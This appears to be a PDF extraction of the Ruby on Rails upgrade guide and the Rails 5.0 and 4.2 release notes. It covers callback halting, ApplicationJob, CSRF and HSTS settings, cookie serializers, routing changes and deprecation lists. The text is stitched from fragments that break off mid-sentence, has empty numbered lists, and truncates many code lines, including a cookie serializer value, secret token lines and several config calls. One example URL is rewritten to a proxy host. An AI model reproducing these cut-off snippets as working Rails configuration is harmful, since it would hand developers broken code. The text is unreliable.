errors in your application. Patch versions only include bug fixes, and don't
change any public API.
The process should go as follows:
1.
2.
3.
4.
Repeat this process until you reach your target Rails version. Each time
you move versions, you will need to change the Rails version number in
the Gemfile (and possibly other gem versions) and run bundle update.
Then run the Update task mentioned below to update configuration files,
then run your tests.
You can find a list of all released Rails versions here.
1.3 Ruby Versions
Rails generally stays close to the latest released Ruby version when it's
released:
Rails 5 requires Ruby 2.2.2 or newer.
Rails 4 prefers Ruby 2.0 and requires 1.9.3 or newer.
Rails 3.2.x is the last branch to support Ruby 1.8.7.
Rails 3 and above require Ruby 1.8.7 or higher. Support for all of the
previous Ruby versions has been dropped officially. You should
upgrade as early as possible.
Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby
Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On
the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if
you want to use 1.9.x, jump straight to 1.9.3 for smooth sailing.
1.4 The Update Task
Rails provides the app:update task (rails:update on 4.2 and earlier).
After updating the Rails version in the Gemfile, run this task. This will
help you with the creation of new files and changes of old files in an
interactive session.
$ rails app:update
identical config/boot.rb
exist config
conflict config/routes.rb
Don't forget to review the difference, to see if there were any unexpected
changes.
successive 'before' callbacks are not executed, and neither is the action
wrapped in callbacks.
In Rails 5.0, returning false in an Active Record or Active Model
callback will not have this side effect of halting the callback chain. Instead,
callback chains must be explicitly halted by calling throw(:abort).
When you upgrade from Rails 4.2 to Rails 5.0, returning false in those
kind of callbacks will still halt the callback chain, but you will receive a
deprecation warning about this upcoming change.
When you are ready, you can opt into the new behavior and remove the
deprecation warning by adding the following configuration to your
config/application.rb:
ActiveSupport.halt_callback_chains_on_return_false = false
Note that this option will not affect Active Support callbacks since they
never halted the chain when any value was returned.
See #17227 for more details.
2.4 ActiveJob Now Inherits from ApplicationJob by Default
In Rails 4.2, an Active Job inherits from ActiveJob::Base. In Rails 5.0,
this behavior has changed to now inherit from ApplicationJob.
When upgrading from Rails 4.2 to Rails 5.0, you need to create an
application_job.rb file in app/jobs/ and add the following content:
class ApplicationJob < ActiveJob::Base
end
Then make sure that all your job classes inherit from it.
If you are using Rspec for testing, please see the extra configuration
required in the gem's documentation.
2.6 Autoloading is Disabled After Booting in the Production
Environment
Autoloading is now disabled after booting in the production environment
by default.
Eager loading the application is part of the boot process, so top-level
constants are fine and are still autoloaded, no need to require their files.
Constants in deeper places only executed at runtime, like regular method
bodies, are also fine because the file defining them will have been eager
loaded while booting.
For the vast majority of applications this change needs no action. But in
the very rare event that your application needs autoloading while running
in production mode, set
Rails.application.config.enable_dependency_loading to true.
2.7 XML Serialization
ActiveModel::Serializers::Xml has been extracted from Rails to the
activemodel-serializers-xml gem. To continue using XML
serialization in your application, add gem 'activemodel-serializers-
params.permit([:proceed_to, :return_to]).to_h
will be inserted into the callback chain at the point in which you call it in
your application. If you want protect_from_forgery to always run first,
then you should change your application to use protect_from_forgery
prepend: true.
2.13 Default Template Handler is Now RAW
Files without a template handler in their extension will be rendered using
the raw handler. Previously Rails would render files using the ERB
template handler.
If you do not want your file to be handled via the raw handler, you should
add an extension to your file that can be parsed by the appropriate template
handler.
2.14 Added Wildcard Matching for Template Dependencies
You can now use wildcard matching for your template dependencies. For
example, if you were defining your templates as such:
You can now just call the dependency once with a wildcard.
<% # Template Dependency: recordings/threads/events/* %>
is not present.
This can be turned off per-association with optional: true.
This default will be automatically configured in new applications. If
existing application want to add this feature it will need to be turned on in
an initializer.
config.active_record.belongs_to_required_by_default = true
2.19.2 Per-form CSRF Tokens
Rails 5 now supports per-form CSRF tokens to mitigate against codeinjection attacks with forms created by JavaScript. With this option turned
on, forms in your application will each have their own CSRF token that is
specified to the action and method for that form.
config.action_controller.per_form_csrf_tokens = true
2.19.3 Forgery Protection with Origin Check
You can now configure your application to check if the HTTP Origin
header should be checked against the site's origin as an additional CSRF
defense. Set the following in your config to true:
config.action_controller.forgery_protection_origin_check = true
2.19.4 Allow Configuration of Action Mailer Queue Name
Set the following in your config to enable HSTS when using subdomains:
config.ssl_options = { hsts: { subdomains: true } }
2.19.8 Preserve Timezone of the Receiver
When using Ruby 2.4, you can preserve the timezone of the receiver when
calling to_time.
ActiveSupport.to_time_preserves_timezone = false
def show
@user = User.find(params[:id])
respond_to do |format|
format.html
format.json { render json: @user }
end
end
end
setting the option to :sorted, or opt into the future behavior by setting the
option to :random.
If you do not specify a value for this option, a deprecation warning will be
emitted. To avoid this, add the following line to your test environment:
# config/environments/test.rb
Rails.application.configure do
config.active_support.test_order = :sorted # or `:random` if y
end
You can now wrap the git calls in an after_bundle block. It will be run
after the binstubs have been generated.
# template.rb
generate(:scaffold, "person name:string")
route "root to: 'people#index'"
rake("db:migrate")
after_bundle do
git :init
git add: "."
git commit: %Q{ -m 'Initial commit' }
end
This should not result in any noticeable differences for most applications.
However, if you need some non-mailer methods to be executed
synchronously, and you were previously relying on the synchronous
proxying behavior, you should define them as class methods on the mailer
class directly:
class Notifier < ActionMailer::Base
def self.broadcast_notifications(users, ...)
users.each { |user| Notifier.notify(user, ...) }
end
end
1.
2.
3.
4.
although leaving this line in your helper is not harmful in any way.
4.5 Cookies serializer
Applications created before Rails 4.1 uses Marshal to serialize cookie
values into the signed and encrypted cookie jars. If you want to use the
new JSON-based format in your application, you can add an initializer file
with the following content:
Rails.application.config.action_dispatch.cookies_serializer = :h
It's advisable that you only store simple data (strings and numbers) in
cookies. If you have to store complex objects, you would need to handle
Make sure you are comparing Flash message keys against strings.
4.7 Changes in JSON handling
There are a few major changes related to JSON handling in Rails 4.1.
4.7.1 MultiJSON removal
MultiJSON has reached its end-of-life and has been removed from Rails.
If your application currently depend on MultiJSON directly, you have a
few options:
1. Add 'multi_json' to your Gemfile. Note that this might cease to work
in the future
Historically, Rails had some compatibility issues with the JSON gem.
Using JSON.generate and JSON.dump inside a Rails application could
produce unexpected errors.
Rails 4.1 fixed these issues by isolating its own encoder from the JSON
gem. The JSON gem APIs will function as normal, but they will not have
access to any Rails-specific features. For example:
class FooBar
def as_json(options = nil)
{ foo: 'bar' }
end
end
The JSON encoder in Rails 4.1 has been rewritten to take advantage of the
JSON gem. For most applications, this should be a transparent change.
However, as part of the rewrite, the following features have been removed
from the encoder:
1. Circular data structure detection
2. Support for the encode_json hook
default. If you need to keep old behavior with no millisecond precision, set
the following in an initializer:
ActiveSupport::JSON::Encoding.time_precision = 0
This change applies to most places in Rails where callbacks are used,
including Active Record and Active Model callbacks, as well as filters in
Action Controller (e.g. before_action).
See this pull request for more details.
4.9 Methods defined in Active Record fixtures
Rails 4.1 evaluates each fixture's ERB in a separate context, so helper
methods defined in a fixture will not be available in other fixtures.
Helper methods that are used in multiple fixtures should be defined on
modules included in the newly introduced
ActiveRecord::FixtureSet.context_class, in test_helper.rb.
module FixtureFileHelpers
def file_sha(path)
Digest::SHA2.hexdigest(File.read(Rails.root.join('test/fixtu
end
end
ActiveRecord::FixtureSet.context_class.include FixtureFileHelper
Note that this option was added as a security measure, to ensure user input
cannot be used as locale information unless it is previously known.
Therefore, it's recommended not to disable this option unless you have a
strong reason for doing so.
4.11 Mutator methods called on Relation
Relation no longer has mutator methods like #map! and #delete_if.
Convert to an Array by calling #to_a before using these methods.
It intends to prevent odd bugs and confusion in code that call mutator
methods directly on the Relation.
# Instead of this
Author.where(name: 'Hank Moody').compact!
# Now you have to do this
authors = Author.where(name: 'Hank Moody').to_a
authors.compact!
User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending
User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactiv
After:
class User < ActiveRecord::Base
default_scope { where state: 'pending' }
scope :active, -> { where state: 'active' }
scope :inactive, -> { where state: 'inactive' }
end
User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending
User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending
User.where(state: 'inactive')
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending
User.all
# SELECT "users".* FROM "users" WHERE "users"."state" = 'pending
User.active
# SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
User.inactive
# SELECT "users".* FROM "users" WHERE "users"."state" = 'inactiv
From the security standpoint, if you don't expect to have any markup in
your response body, you should be using render :plain as most browsers
will escape unsafe content in the response for you.
We will be deprecating the use of render :text in a future version. So
please start using the more precise :plain, :html, and :body options
instead. Using render :text may pose a security risk, as the content is
sent as text/html.
4.14 PostgreSQL json and hstore datatypes
Rails 4.1 will map json and hstore columns to a string-keyed Ruby Hash.
In earlier versions, a HashWithIndifferentAccess was used. This means
that symbol access is no longer supported. This is also the case for
store_accessors based on top of json or hstore columns. Make sure to
use string keys consistently.
4.15 Explicit block use for ActiveSupport::Callbacks
Rails 4.1 now expects an explicit block to be passed when calling
ActiveSupport::Callbacks.set_callback. This change stems from
ActiveSupport::Callbacks being largely rewritten for the 4.1 release.
However, you will need to make a change if you are using form_for to
update a resource in conjunction with a custom route using the PUT HTTP
method:
resources :users, do
put :update_name, on: :member
end
If the action is not being used in a public API and you are free to change
the HTTP method, you can update your route to use patch instead of put:
PUT requests to /users/:id in Rails 4 get routed to update as they are
today. So, if you have an API that gets real PUT requests it is going to
work. The router also routes PATCH requests to /users/:id to the update
action.
resources :users do
patch :update_name, on: :member
end
If the action is being used in a public API and you can't change to HTTP
method being used, you can update your form to use the PUT method
instead:
<%= form_for [ :update_name, @user ], method: :put do |f| %>
For more on PATCH and why this change was made, see this post on the
Rails blog.
5.1.1 A note about media types
The errata for the PATCH verb specifies that a 'diff' media type should be
used with PATCH. One such format is JSON Patch. While Rails does not
support JSON Patch natively, it's easy enough to add support:
# in your controller
def update
respond_to do |format|
format.json do
# perform a partial update
@article.update params[:article]
end
format.json_patch do
# perform sophisticated change
end
end
end
# In config/initializers/json_patch.rb:
Mime::Type.register 'application/json-patch+json', :json_patch
As JSON Patch was only recently made into an RFC, there aren't a lot of
great Ruby libraries yet. Aaron Patterson's hana is one such gem, but
doesn't have full support for the last few changes in the specification.
5.2 Gemfile
Rails 4.0 removed the assets group from Gemfile. You'd need to remove
that line from your Gemfile when upgrading. You should also update your
application file (in config/application.rb):
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
5.3 vendor/plugins
Rails 4.0 no longer supports loading plugins from vendor/plugins. You
must replace any plugins by extracting them to gems and adding them to
your Gemfile. If you choose not to make them gems, you can move them
lambda:
scope :active, where(active: true)
# becomes
scope :active, -> { where active: true }
Note that the prefix takes scopes into account as well, so relations
between Catalog::Category and Catalog::Product or
Catalog::Category and CatalogProduct need to be updated
similarly.
5.5 Active Resource
Rails 4.0 extracted Active Resource to its own gem. If you still need the
feature you can add the Active Resource gem in your Gemfile.
5.6 Active Model
Rails 4.0 has changed how errors attach with the
ActiveModel::Validations::ConfirmationValidator. Now when
confirmation validations fail, the error will be attached to :#
{attribute}_confirmation instead of attribute.
objects have the same default behavior. This means that you can
comment or remove the following option in the
config/initializers/wrap_parameters.rb file:
# Disable root element in JSON by default.
# ActiveSupport.on_load(:active_record) do
# self.include_root_in_json = false
# end
# config/initializers/secret_token.rb
Myapp::Application.config.secret_token = 'existing secret toke
Myapp::Application.config.secret_key_base = 'new secret key ba
Please note that you should wait to set secret_key_base until you have
100% of your userbase on Rails 4.x and are reasonably sure you will not
need to rollback to Rails 3.x. This is because cookies signed based on the
new secret_key_base in Rails 4.x are not backwards compatible with
Rails 3.x. You are free to leave your existing secret_token in place, not
set the new secret_key_base, and ignore the deprecation warnings until
you are reasonably sure that your upgrade is otherwise complete.
If you are relying on the ability for external applications or JavaScript to
be able to read your Rails app's signed session cookies (or signed cookies
in general) you should not set secret_key_base until you have decoupled
these concerns.
Rails 4.0 encrypts the contents of cookie-based sessions if
secret_key_base has been set. Rails 3.x signed, but did not encrypt,
the contents of cookie-based session. Signed cookies are "secure" in
that they are verified to have been generated by your app and are
tamper-proof. However, the contents can be viewed by end users, and
encrypting the contents eliminates this caveat/concern without a
In the first case, you can simply avoid using the same name for multiple
routes. In the second, you can use the only or except options provided by
the resources method to restrict the routes created as detailed in the
Routing Guide.
Rails 4.0 also changed the way unicode character routes are drawn.
Now you can draw unicode character routes directly. If you already
draw such routes, you must change them, for example:
becomes
get '', controller: 'welcome', action: 'index'
Rails 4.0 requires that routes using match must specify the request
method. For example:
# Rails 3.x
match '/' => 'root#index'
# becomes
match '/' => 'root#index', via: :get
# or
# Raise exception
config.middleware.insert_before(Rack::Lock, ActionDispatch::Best
present.
In Rails 4.0, precompiling assets no longer automatically copies nonJS/CSS assets from vendor/assets and lib/assets. Rails
application and engine developers should put these assets in
app/assets or configure config.assets.precompile.
In Rails 4.0, ActionController::UnknownFormat is raised when the
action doesn't handle the request format. By default, the exception is
handled by responding with 406 Not Acceptable, but you can
override that now. In Rails 3, 406 Not Acceptable was always
returned. No overrides.
In Rails 4.0, a generic
ActionDispatch::ParamsParser::ParseError exception is raised
when ParamsParser fails to parse request params. You will want to
rescue this exception instead of the low-level
MultiJson::DecodeError, for example.
In Rails 4.0, SCRIPT_NAME is properly nested when engines are
change will only impact the way of loading helpers from engines. If you
rely on the ordering, you should check if correct methods are available
after upgrade. If you would like to change the order in which engines are
loaded, you can use config.railties_order= method.
5.10 Active Record Observer and Action Controller Sweeper
ActiveRecord::Observer and ActionController::Caching::Sweeper
have been extracted to the rails-observers gem. You will need to add
the rails-observers gem if you require these features.
5.11 sprockets-rails
assets:precompile:primary and assets:precompile:all have
been removed. Use assets:precompile instead.
The config.assets.compress option should be changed to
config.assets.js_compressor like so for instance:
config.assets.js_compressor = :uglifier
5.12 sass-rails
asset-url with two arguments is deprecated. For example: asseturl("rails.png", image) becomes asset-url("rails.png").
6.2 config/environments/development.rb
There are a couple of new configuration settings that you should add to
your development environment:
6.3 config/environments/test.rb
The mass_assignment_sanitizer configuration setting should also be
added to config/environments/test.rb:
6.4 vendor/plugins
Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them
completely. While it's not strictly necessary as part of a Rails 3.2 upgrade,
you can start replacing any plugins by extracting them to gems and adding
them to your Gemfile. If you choose not to make them gems, you can
move them into, say, lib/my_plugin/* and add an appropriate initializer
in config/initializers/my_plugin.rb.
6.5 Active Record
Option :dependent => :restrict has been removed from belongs_to. If
you want to prevent deleting the object if there are any associated objects,
you can set :dependent => :destroy and return false after checking for
existence of association from any of the associated object's destroy
callbacks.
7.2 config/application.rb
The asset pipeline requires the following additions:
config.assets.enabled = true
config.assets.version = '1.0'
If your application is using an "/assets" route for a resource you may want
change the prefix used for assets to avoid conflicts:
# Defaults to '/assets'
config.assets.prefix = '/asset-files'
7.3 config/environments/development.rb
Remove the RJS setting config.action_view.debug_rjs = true.
Add these settings if you enable the asset pipeline:
# Do not compress assets
config.assets.compress = false
# Expands the lines which load the assets
config.assets.debug = true
7.4 config/environments/production.rb
Again, most of the changes below are for the asset pipeline. You can read
more about these in the Asset Pipeline guide.
# Compress JavaScripts and CSS
config.assets.compress = true
7.5 config/environments/test.rb
You can help test performance with these additions to your test
environment:
7.6 config/initializers/wrap_parameters.rb
Add this file with the following contents, if you wish to wrap parameters
into a nested hash. This is on by default in new applications.
7.7 config/initializers/session_store.rb
You need to change your session key to something new, or remove all
sessions:
# in config/initializers/session_store.rb
or
$ bin/rake db:sessions:clear
2 Major Features
2.1 Action Cable
Pull Request
Action Cable is a new framework in Rails 5. It seamlessly integrates
WebSockets with the rest of your Rails application.
Action Cable allows for real-time features to be written in Ruby in the
same style and form as the rest of your Rails application, while still being
performant and scalable. It's a full-stack offering that provides both a
client-side JavaScript framework and a server-side Ruby framework. You
have access to your full domain model written with Active Record or your
ORM of choice.
See the Action Cable Overview guide for more information.
2.2 API Applications
Rails can now be used to create slimmed down API only applications. This
is useful for creating and serving APIs similar to Twitter or GitHub API,
that can be used to serve public facing, as well as, for custom applications.
You can generate a new api Rails app using:
$ rails new my_api --api
# before
store_listing.price_in_cents # => BigDecimal.new(10.1)
StoreListing.new.my_string # => "original default"
# after
store_listing.price_in_cents # => 10
StoreListing.new.my_string # => "new default"
StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600
model = StoreListing.new(field_without_db_column: ["1", "2", "3"
model.attributes #=> {field_without_db_column: [1, 2, 3]}
3 Railties
Please refer to the Changelog for detailed changes.
3.1 Removals
Removed debugger support, use byebug instead. debugger is not
supported by Ruby 2.2. (commit)
Removed deprecated test:all and test:all:db tasks. (commit)
Removed deprecated Rails::Rack::LogTailer. (commit)
Removed deprecated RAILS_CACHE constant. (commit)
Removed deprecated serve_static_assets configuration. (commit)
Removed the documentation tasks doc:app, doc:rails, and
doc:guides. (commit)
Removed Rack::ContentLength middleware from the default stack.
(Commit)
3.2 Deprecations
Deprecated config.static_cache_control in favor of
config.public_file_server.headers. (Pull Request)
Deprecated config.serve_static_files in favor of
config.public_file_server.enabled. (Pull Request)
Deprecated the tasks in the rails task namespace in favor of the app
namespace. (e.g. rails:update and rails:template tasks is
renamed to app:update and app:template.) (Pull Request)
3.3 Notable changes
Added Rails test runner bin/rails test. (Pull Request)
Newly generated applications and plugins get a README.md in
Markdown. (commit, Pull Request)
Added bin/rails restart task to restart your Rails app by touching
4 Action Pack
Please refer to the Changelog for detailed changes.
4.1 Removals
Removed ActionDispatch::Request::Utils.deep_munge. (commit)
Removed ActionController::HideActions. (Pull Request)
Removed respond_to and respond_with placeholder methods, this
functionality has been extracted to the responders gem. (commit)
Removed deprecated assertion files. (commit)
Removed deprecated usage of string keys in URL helpers. (commit)
Removed deprecated only_path option on *_path helpers. (commit)
Removed deprecated NamedRouteCollection#helpers. (commit)
Removed deprecated support to define routes with :to option that
doesn't contain #. (commit)
Removed deprecated ActionDispatch::Response#to_ary. (commit)
Removed deprecated ActionDispatch::Request#deep_munge.
(commit)
Removed deprecated
ActionDispatch::Http::Parameters#symbolized_path_parameters
(commit)
Removed deprecated option use_route in controller tests. (commit)
Removed assigns and assert_template. Both methods have been
extracted into the rails-controller-testing gem. (Pull Request)
4.2 Deprecations
Deprecated all *_filter callbacks in favor of *_action callbacks.
(Pull Request)
Deprecated *_via_redirect integration test methods. Use
follow_redirect! manually after the request call for the same
behavior. (Pull Request)
5 Action View
Please refer to the Changelog for detailed changes.
5.1 Removals
Removed deprecated
AbstractController::Base::parent_prefixes. (commit)
Removed ActionView::Helpers::RecordTagHelper, this
6 Action Mailer
Please refer to the Changelog for detailed changes.
6.1 Removals
Removed deprecated *_path helpers in email views. (commit)
Removed deprecated deliver and deliver! methods. (commit)
6.2 Notable changes
Template lookup now respects default locale and I18n fallbacks.
(commit)
Added _mailer suffix to mailers created via generator, following the
same naming convention used in controllers and jobs. (Pull Request)
Added assert_enqueued_emails and assert_no_enqueued_emails.
(Pull Request)
Added config.action_mailer.deliver_later_queue_name
configuration to set the mailer queue name. (Pull Request)
Added support for fragment caching in Action Mailer views. Added
new config option config.action_mailer.perform_caching to
determine whether your templates should perform caching or not.
(Pull Request)
7 Active Record
Please refer to the Changelog for detailed changes.
7.1 Removals
Removed deprecated behavior allowing nested arrays to be passed as
query values. (Pull Request)
Removed deprecated
ActiveRecord::Tasks::DatabaseTasks#load_schema. This method
was replaced by
ActiveRecord::Tasks::DatabaseTasks#load_schema_for.
(commit)
Removed deprecated serialized_attributes. (commit)
Removed deprecated automatic counter caches on has_many
:through. (commit)
Removed deprecated sanitize_sql_hash_for_conditions.
(commit)
Removed deprecated Reflection#source_macro. (commit)
Removed deprecated symbolized_base_class and
symbolized_sti_name. (commit)
Removed deprecated
ActiveRecord::Base.disable_implicit_join_references=.
(commit)
Removed deprecated access to connection specification using a string
accessor. (commit)
Removed deprecated support to preload instance-dependent
associations. (commit)
Removed deprecated support for PostgreSQL ranges with exclusive
lower bounds. (commit)
Removed deprecation when modifying a relation with cached Arel.
This raises an ImmutableRelation error instead. (commit)
Removed ActiveRecord::Serialization::XmlSerializer from
core. This feature has been extracted into the activemodel-serializersxml gem. (Pull Request)
Removed support for the legacy mysql database adapter from core.
Most users should be able to use mysql2. It will be converted to a
separate gem when when we find someone to maintain it. (Pull
Request 1], Pull Request 2)
Removed support for the protected_attributes gem. (commit)
Removed support for PostgreSQL versions below 9.1. (Pull Request)
Removed support for activerecord-deprecated_finders gem.
(commit)
7.2 Deprecations
Deprecated passing a class as a value in a query. Users should pass
strings instead. (Pull Request)
Deprecated returning false as a way to halt Active Record callback
chains. The recommended way is to throw(:abort). (Pull Request)
Deprecated
ActiveRecord::Base.errors_in_transactional_callbacks=.
(commit)
Deprecated Relation#uniq use Relation#distinct instead.
(commit)
Deprecated the PostgreSQL :point type in favor of a new one which
will return Point objects instead of an Array (Pull Request)
Deprecated force association reload by passing a truthy argument to
association method. (Pull Request)
Deprecated the keys for association restrict_dependent_destroy
errors in favor of new key names. (Pull Request)
Synchronize behavior of #tables. (Pull Request)
Deprecated SchemaCache#tables, SchemaCache#table_exists? and
SchemaCache#clear_table_cache! in favor of their new data source
counterparts. (Pull Request)
Deprecated connection.tables on the SQLite3 and MySQL
Allow fixtures files to set the model class in the YAML file itself.
(Pull Request)
Added ability to default to uuid as primary key when generating
database migrations. (Pull Request)
Added ActiveRecord::Relation#left_joins and
ActiveRecord::Relation#left_outer_joins. (Pull Request)
Added after_{create,update,delete}_commit callbacks. (Pull
Request)
Version the API presented to migration classes, so we can change
parameter defaults without breaking existing migrations, or forcing
them to be rewritten through a deprecation cycle. (Pull Request)
ApplicationRecord is a new superclass for all app models, analogous
to app controllers subclassing ApplicationController instead of
ActionController::Base. This gives apps a single spot to configure
app-wide model behavior. (Pull Request)
Added ActiveRecord #second_to_last and #third_to_last
methods. (Pull Request)
Added ability to annotate database objects (tables, columns, indexes)
with comments stored in database metadata for PostgreSQL &
MySQL. (Pull Request)
Added prepared statements support to mysql2 adapter, for mysql2
0.4.4+, Previously this was only supported on the deprecated mysql
legacy adapter. To enable, set prepared_statements: true in
config/database.yml. (Pull Request)
Added ability to call ActionRecord::Relation#update on relation
objects which will run validations on callbacks on all objects in the
relation. (Pull Request)
Added :touch option to the save method so that records can be saved
without updating timestamps. (Pull Request)
Added expression indexes and operator classes support for
PostgreSQL. (commit)
Added :index_errors option to add indexes to errors of nested
attributes. (Pull Request)
Added support for bidirectional destroy dependencies. (Pull Request)
8 Active Model
Please refer to the Changelog for detailed changes.
8.1 Removals
Removed deprecated ActiveModel::Dirty#reset_#{attribute}
and ActiveModel::Dirty#reset_changes. (Pull Request)
Removed XML serialization. This feature has been extracted into the
activemodel-serializers-xml gem. (Pull Request)
Removed ActionController::ModelNaming module. (Pull Request)
8.2 Deprecations
Deprecated returning false as a way to halt Active Model and
ActiveModel::Validations callback chains. The recommended way
is to throw(:abort). (Pull Request)
Deprecated ActiveModel::Errors#get, ActiveModel::Errors#set
and ActiveModel::Errors#[]= methods that have inconsistent
behavior. (Pull Request)
Deprecated the :tokenizer option for validates_length_of, in
favor of plain Ruby. (Pull Request)
Deprecated ActiveModel::Errors#add_on_empty and
ActiveModel::Errors#add_on_blank with no replacement. (Pull
Request)
8.3 Notable changes
Added ActiveModel::Errors#details to determine what validator
has failed. (Pull Request)
Extracted ActiveRecord::AttributeAssignment to
ActiveModel::AttributeAssignment allowing to use it for any
object as an includable module. (Pull Request)
Added ActiveModel::Dirty#[attr_name]_previously_changed?
and ActiveModel::Dirty#[attr_name]_previous_change to
improve access to recorded changes after the model has been saved.
(Pull Request)
Validate multiple contexts on valid? and invalid? at once. (Pull
Request)
Change validates_acceptance_of to accept true as default value
apart from 1. (Pull Request)
9 Active Job
Please refer to the Changelog for detailed changes.
9.1 Notable changes
ActiveJob::Base.deserialize delegates to the job class. This
allows jobs to attach arbitrary metadata when they get serialized and
read it back when they get performed. (Pull Request)
Add ability to configure the queue adapter on a per job basis without
affecting each other. (Pull Request)
A generated job now inherits from app/jobs/application_job.rb
by default. (Pull Request)
Allow DelayedJob, Sidekiq, qu, que, and queue_classic to report
the job id back to ActiveJob::Base as provider_job_id. (Pull
Request, Pull Request, commit)
Implement a simple AsyncJob processor and associated
AsyncAdapter that queue jobs to a concurrent-ruby thread pool.
(Pull Request)
Change the default adapter from inline to async. It's a better default as
tests will then not mistakenly come to rely on behavior happening
synchronously. (commit)
10 Active Support
Please refer to the Changelog for detailed changes.
10.1 Removals
Removed deprecated
ActiveSupport::JSON::Encoding::CircularReferenceError.
(commit)
Removed deprecated methods
ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=
and
ActiveSupport::JSON::Encoding.encode_big_decimal_as_string.
(commit)
Removed deprecated ActiveSupport::SafeBuffer#prepend.
(commit)
Removed deprecated methods from Kernel. silence_stderr,
silence_stream, capture and quietly. (commit)
Removed deprecated
active_support/core_ext/big_decimal/yaml_conversions file.
(commit)
Removed deprecated methods
ActiveSupport::Cache::Store.instrument and
ActiveSupport::Cache::Store.instrument=. (commit)
Removed deprecated Class#superclass_delegating_accessor. Use
Class#class_attribute instead. (Pull Request)
Removed deprecated ThreadSafe::Cache. Use Concurrent::Map
11 Credits
See the full list of contributors to Rails for the many people who spent
many hours making Rails, the stable and robust framework it is. Kudos to
all of them.
2 Major Features
2.1 Active Job
Active Job is a new framework in Rails 4.2. It is a common interface on
top of queuing systems like Resque, Delayed Job, Sidekiq, and more.
Jobs written with the Active Job API run on any of the supported queues
thanks to their respective adapters. Active Job comes pre-configured with
an inline runner that executes jobs right away.
Jobs often need to take Active Record objects as arguments. Active Job
passes object references as URIs (uniform resource identifiers) instead of
marshaling the object itself. The new Global ID library builds URIs and
looks up the objects they reference. Passing Active Record objects as job
arguments just works by using Global ID internally.
For example, if trashable is an Active Record object, then this job runs
just fine with no serialization involved:
class TrashableCleanupJob < ActiveJob::Base
def perform(trashable, depth)
trashable.cleanup(depth)
end
end
3 Incompatibilities
Previously deprecated functionality has been removed. Please refer to the
individual components for new deprecations in this release.
The following changes may require immediate action upon upgrade.
3.1 render with a String Argument
Previously, calling render "foo/bar" in a controller action was
equivalent to render file: "foo/bar". In Rails 4.2, this has been
changed to mean render template: "foo/bar" instead. If you need to
render a file, please change your code to use the explicit form (render
file: "foo/bar") instead.
3.2 respond_with / Class-Level respond_to
respond_with and the corresponding class-level respond_to have been
moved to the responders gem. Add gem 'responders', '~> 2.0' to your
# before
a[href=/]
a[href$=/]
# now
a[href="/"]
a[href$="/"]
becomes "(?-mix:hello)":
4 Railties
Please refer to the Changelog for detailed changes.
4.1 Removals
The --skip-action-view option has been removed from the app
generator. (Pull Request)
The rails application command has been removed without
replacement. (Pull Request)
4.2 Deprecations
Deprecated missing config.log_level for production environments.
(Pull Request)
Deprecated rake test:all in favor of rake test as it now run all
tests in the test folder. (Pull Request)
Deprecated rake test:all:db in favor of rake test:db. (Pull
Request)
Deprecated Rails::Rack::LogTailer without replacement.
(Commit)
4.3 Notable changes
Introduced web-console in the default application Gemfile. (Pull
Request)
Added a required option to the model generator for associations.
(Pull Request)
Introduced the x namespace for defining custom configuration
options:
# config/environments/production.rb
config.x.payment_processing.schedule = :daily
config.x.payment_processing.retries = 3
config.x.super_debugger = true
(Commit)
Introduced Rails::Application.config_for to load a configuration
for the current environment.
# config/exception_notification.yml:
production:
url: http://127.0.0.1:8080
namespace: my_app_production
development:
url: http://localhost:3001
namespace: my_app_development
# config/environments/production.rb
Rails.application.configure do
config.middleware.use ExceptionNotifier, config_for(:excep
end
(Pull Request)
Introduced a --skip-turbolinks option in the app generator to not
generate turbolinks integration. (Commit)
Introduced a bin/setup script as a convention for automated setup
code when bootstrapping an application. (Pull Request)
Changed the default value for config.assets.digest to true in
development. (Pull Request)
Introduced an API to register new extensions for rake notes. (Pull
Request)
Introduced an after_bundle callback for use in Rails templates. (Pull
Request)
5 Action Pack
Please refer to the Changelog for detailed changes.
5.1 Removals
respond_with and the class-level respond_to have been removed
from Rails and moved to the responders gem (version 2.0). Add gem
'responders', '~> 2.0' to your Gemfile to continue using these
AbstractController::Helpers::ClassMethods::MissingHelperErro
in favor of AbstractController::Helpers::MissingHelperError.
(Commit)
5.2 Deprecations
Deprecated the only_path option on *_path helpers. (Commit)
Deprecated assert_tag, assert_no_tag, find_tag and
find_all_tag in favor of assert_select. (Commit)
Deprecated support for setting the :to option of a router to a symbol
or a string that does not contain a "#" character:
(Commit)
Deprecated support for string keys in URL helpers:
# bad
root_path('controller' => 'posts', 'action' => 'index')
# good
(Pull Request)
5.3 Notable changes
The *_filter family of methods have been removed from the
documentation. Their usage is discouraged in favor of the *_action
family of methods:
after_filter => after_action
append_after_filter => append_after_action
append_around_filter => append_around_action
append_before_filter => append_before_action
around_filter => around_action
before_filter => before_action
prepend_after_filter => prepend_after_action
prepend_around_filter => prepend_around_action
prepend_before_filter => prepend_before_action
skip_after_filter => skip_after_action
skip_around_filter => skip_around_action
skip_before_filter => skip_before_action
skip_filter => skip_action_callback
6 Action View
Please refer to the Changelog for detailed changes.
6.1 Deprecations
Deprecated AbstractController::Base.parent_prefixes. Override
AbstractController::Base.local_prefixes when you want to
change where to find views. (Pull Request)
Deprecated ActionView::Digestor#digest(name, format,
finder, options = {}). Arguments should be passed as a hash
instead. (Pull Request)
6.2 Notable changes
render "foo/bar" now expands to render template: "foo/bar"
instead of render file: "foo/bar". (Pull Request)
The form helpers no longer generate a <div> element with inline CSS
7 Action Mailer
Please refer to the Changelog for detailed changes.
7.1 Deprecations
Deprecated *_path helpers in mailers. Always use *_url helpers
instead. (Pull Request)
Deprecated deliver / deliver! in favor of deliver_now /
deliver_now!. (Pull Request)
7.2 Notable changes
link_to and url_for generate absolute URLs by default in
